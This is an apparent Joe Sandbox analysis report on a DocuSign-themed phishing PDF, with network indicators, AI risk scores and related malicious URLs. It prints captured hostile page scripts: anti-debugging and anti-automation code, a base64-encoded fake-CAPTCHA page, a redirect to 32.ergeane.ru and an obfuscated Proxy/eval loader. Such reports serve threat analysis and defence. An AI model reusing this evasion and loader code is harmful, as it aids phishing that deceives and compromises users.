25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.32.225	32.ergeane.ru	United States	13335	CLOUDFLARENETUS	true
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.161.117	cdn.prod.website-files.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
192.185.158.101	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false

Private

IP
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577588
Start date and time:	2024-12-18 14:52:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DocuStream_Scan_l8obgs3v.pdf
Detection:	MAL
Classification:	mal60.phis.winPDF@36/80@20/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 23.218.208.137, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 172.64.41.3, 162.159.61.3, 23.195.39.65, 23.48.23.149, 23.48.23.180, 142.250.181.99, 172.217.19.206, 64.233.162.84, 23.48.23.181, 142.250.181.142, 172.217.19.202, 216.58.208.234, 142.250.181.138, 142.250.181.74, 172.217.19.10, 142.250.181.106, 172.217.19.234, 172.217.17.74, 142.250.181.42, 172.217.17.42, 172.217.17.35, 172.217.17.46, 23.218.208.109, 20.12.23.50, 52.6.155.20, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, actransbelgium.be, 8h2f94s.actransbelgium.be, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: DocuStream_Scan_l8obgs3v.pdf

Simulations

Behavior and APIs

Time	Type	Description
08:53:13	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: https://actransbelgium.be Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://actransbelgium.be
URL: https://32.ergeane.ru/yNriUGk0/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); gLtjYkpSoZ = false; (function OwzEfLQCcH() { let YtKuDTfmkj = false; const VPahxGckTH = 100; setInterval(function() { const WYxvPPpAff = performance.now(); debugger; const tceYjbVOsC = performance.now(); if (tceYjbVOsC - WYxvPPpAff > VPahxGckTH && !YtKuDTfmkj) { gLtjYkpSoZ = true; YtKuDTfmkj = true; window.location.replace('https://translate.google.com'); } }, 100); })();
URL: https://32.ergeane.ru/yNriUGk0/... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. While the script may have some legitimate functionality, the overall behavior is highly suspicious and requires further investigation." }
if(atob("aHR0cHM6Ly8zMi5lcmdlYW5lLnJ1L3lOcmlVR2swLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiAwOw0KICAgIGxlZnQ6IDA7DQogICAgcmlnaHQ6IDA7DQogICAgYm90dG9tOiAwOw0KICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7DQogICAgZmlsdGVyOiBibHVyKDVweCk7DQogICAgei1pbmRleDogLTE7DQp9DQouY29udGVudCB7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHotaW5kZXg6IDE7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOGE7DQogICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYwZTBlOw0KICAgIHBhZGRpbmc6IDIwcHggMTBweDsNCiAgICB3aWR0aDogMzAwcHg7DQogICAgbWFyZ2luOiAyMHB4IGF1dG87DQogICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgIGJveC1zaGFkb3c6IDBweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yKTsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGhlaWdodDogMjBweDsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXSB7DQogICAgZGlzcGxheTogbm9uZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggbGFiZWwgew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBjdXJzb3I6IHBvaW50ZXI7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrbWFyayB7DQogICAgd2lkdGg6IDIwcHg7DQogICAgaGVpZ2h0OiAyMHB4Ow0KICAgIGJvcmRlcjogMnB4IHNvbGlkICNkM2QzZDM7DQogICAgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogICAgLyogbWFyZ2luLXJpZ2h0OiAxMHB4OyAqLw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXTpjaGVja2VkICsgbGFiZWwgLmNhcHRjaGEtY2hlY2ttYXJrOjphZnRlciB7DQogICAgY29udGVudDogIiI7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIGxlZnQ6IDVweDsNCiAgICB0b3A6IDFweDsNCiAgICB3aWR0aDogNnB4Ow0KICAgIGhlaWdodDogMTJweDsNCiAgICBib3JkZXI6IHNvbGlkICM0Y2FmNTA7DQogICAgYm9yZGVyLXdpZHRoOiAwIDNweCAzcHggMDsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7DQp9DQoNCi5jYXB0Y2hhLXRleHQgew0KICAgIGZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsNCiAgICBmb250LXNpemU6IDE0cHg7DQogICAgbGVmdDogNnB4Ow0KICAgIGNvbG9yOiAjZmZmZmZmOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtbG9nbyBpbWcgew0KICAgIGhlaWdodDogNDBweDsNCiAgICB0b3A6IDBweDsNCiAgICByaWdodDogMDsNCiAgICBmbG9hdDogcmlnaHQ7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KfQ0KDQouY2FwdGNoYS1sb2FkZXIgew0KIGJhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTsNCiBib3JkZXI6NnB4IHNvbGlkICM0ZDkwZmU7DQogYm9yZGVyLXJhZGl1czozNnB4Ow0KIGJvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7DQogYm9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50Ow0KIGhlaWdodDozNnB4Ow0KIG91dGxpbmU6MDsNCiBwb3NpdGlvbjpyZWxhdGl2ZTsNCiAvKnJpZ2h0OiAxODJweDsqLw0KIHdpZHRoOjM2cHg7DQogYm94LXNpemluZzpib3JkZXItYm94Ow0KIGFuaW1hdGlvbjogc3BpbiBsaW5lYXIgMXMgaW5maW5pdGU7DQogZGlzcGxheTogbm9uZTsNCn0NCg0KQGtleWZyYW1lcyBzcGluIHsNCiAgICAwJSB7IHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOyB9DQogICAgMTAwJSB7IHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7IH0NCn0NCg0KLmNhcHRjaGEtY29udGVudCB7DQogICAgZGlzcGxh
URL: https://8h2f94s.actransbelgium.be/main.js... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script appears to be using the Turnstile CAPTCHA service, which is a legitimate security measure. However, it also includes a redirect to an unfamiliar domain ('https://32.ergeane.ru/yNriUGk0/'), which is a moderate-risk indicator. Further investigation may be needed to determine the purpose and trustworthiness of the redirect." }
window.onloadTurnstileCallback = function () { turnstile.render('#myWidget', { sitekey: '0x4AAAAAAA2_hQhHwsUHMEvv', callback: function(token) { console.log('Challenge Success ${token}'); window.location.href = "https://32.ergeane.ru/yNriUGk0/"; }, }); };
URL: https://32.ergeane.ru/yNriUGk0/... Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10." }
new Proxy({},{get:(_,n)=>eval([...n].map(n=>+("">n)).join``.replace(/.{8}/g,n=>String.fromCharCode(+("0b"+n))))}).
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Act Now to Close the Deal and Begin Your Journey to Excellence!", "prominent_button_name": "Read the Agreement", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://8h2f94s.actransbelgium.be/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: https://8h2f94s.actransbelgium.be/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://32.ergeane.ru/yNriUGk0/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Tick to proceed", "prominent_button_name": "Tick to proceed", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://32.ergeane.ru/yNriUGk0/ Model: Joe Sandbox AI	{ "brands": [ "Google" ] }
	{ "brands": [ "Google" ] }
URL: https://32.ergeane.ru/yNriUGk0/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter the result", "prominent_button_name": "Submit", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://32.ergeane.ru/yNriUGk0/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.32.225	https://vcsfi.kidsavancados.com/	Get hash	malicious	Captcha Phish	Browse
239.255.255.250	Set-up-1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	http://www.mynylgbs.com	Get hash	malicious	Unknown	Browse
	http://johnlewispartners.shop	Get hash	malicious	Unknown	Browse
	https://stgasplitrelatorios.blob.core.windows.net/splitrelatorios90dias/10035_20241217.zip?se=2024-12-18T14%3A42%3A10Z&sp=r&spr=https&sv=2019-02-02&sr=b&sig=5ltPQNyZzXUXi0ItA58/8wM4EzPwCnTr/mCY1cev%2Bng%3D	Get hash	malicious	Unknown	Browse
104.18.94.41	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse
	http://office.yacivt.com/wriEcFSZ	Get hash	malicious	HTMLPhisher	Browse
	http://sharefileon.com	Get hash	malicious	Unknown	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vS4E-28RyhuHX8_MZcsg7wizgGkSwW0LDVl5HNjN-NsvlVsETQwbyEWxbBU714X4OECIwqCDQyWoANZ/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse
	https://tekascend.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse
	https://t.co/4MnukUbNZX	Get hash	malicious	HTMLPhisher	Browse
	https://cutt.ly/YeK13CIF	Get hash	malicious	Unknown	Browse
104.18.161.117	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://www.canva.com/design/DAGZLdpMEGI/O58JBUDFuRvFcdZ0tgIwgA/edit?utm_content=DAGZLdpMEGI&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse
	https://es-proposal.webflow.io/	Get hash	malicious	HTMLPhisher	Browse
	https://newdocumentsproposal.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse
	http://dhswatchlist.com	Get hash	malicious	Unknown	Browse
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	https://link.edgepilot.com/s/638b11ee/5PAE0D7rGEubgiw42RPNhQ?u=https://flow.wirtube.com/	Get hash	malicious	HTMLPhisher	Browse
	https://click.pstmrk.it/3s/tldr.tech%2Fconfirmed%3Femail%3Djames.ward%2540gerflor.com%26newsletter%3Dinfosec/pEGE/grO4AQ/AQ/de2d9b1d-a87c-40b3-97e7-314a53573877/2/GfrX-GFLqn	Get hash	malicious	HTMLPhisher	Browse
	https://storage.googleapis.com/new78sd6f876d87fsf/usicloud-jrg1	Get hash	malicious	Unknown	Browse
104.18.95.41	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse
	http://office.yacivt.com/wriEcFSZ	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse
	http://sharefileon.com	Get hash	malicious	Unknown	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vS4E-28RyhuHX8_MZcsg7wizgGkSwW0LDVl5HNjN-NsvlVsETQwbyEWxbBU714X4OECIwqCDQyWoANZ/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse
	https://tekascend.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://t.co/4MnukUbNZX	Get hash	malicious	HTMLPhisher	Browse
	https://cutt.ly/YeK13CIF	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.prod.website-files.com	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	https://www.canva.com/design/DAGZLdpMEGI/O58JBUDFuRvFcdZ0tgIwgA/edit?utm_content=DAGZLdpMEGI&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	https://es-proposal.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	https://morgans-proposal-site.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	104.18.160.117
	https://newdocumentsproposal.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	104.18.160.117
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse	104.18.161.117
	https://invites-doc.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
	http://cdn.prod.website-files.com/65dccdc21b806b929439370e/66e00f5491860971b9b9ef25_80703488528.pdf	Get hash	malicious	Unknown	Browse	104.18.161.117
	http://dhswatchlist.com	Get hash	malicious	Unknown	Browse	104.18.161.117
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
challenges.cloudflare.com	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://office.yacivt.com/wriEcFSZ	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://sharefileon.com	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://docs.google.com/presentation/d/e/2PACX-1vS4E-28RyhuHX8_MZcsg7wizgGkSwW0LDVl5HNjN-NsvlVsETQwbyEWxbBU714X4OECIwqCDQyWoANZ/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://tekascend.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.18.94.41
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://t.co/4MnukUbNZX	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
bg.microsoft.map.fastly.net	stail.exe.3.exe	Get hash	malicious	Socks5Systemz	Browse	199.232.214.172
	22TxDBB1.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	pyld611114.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	199.232.214.172
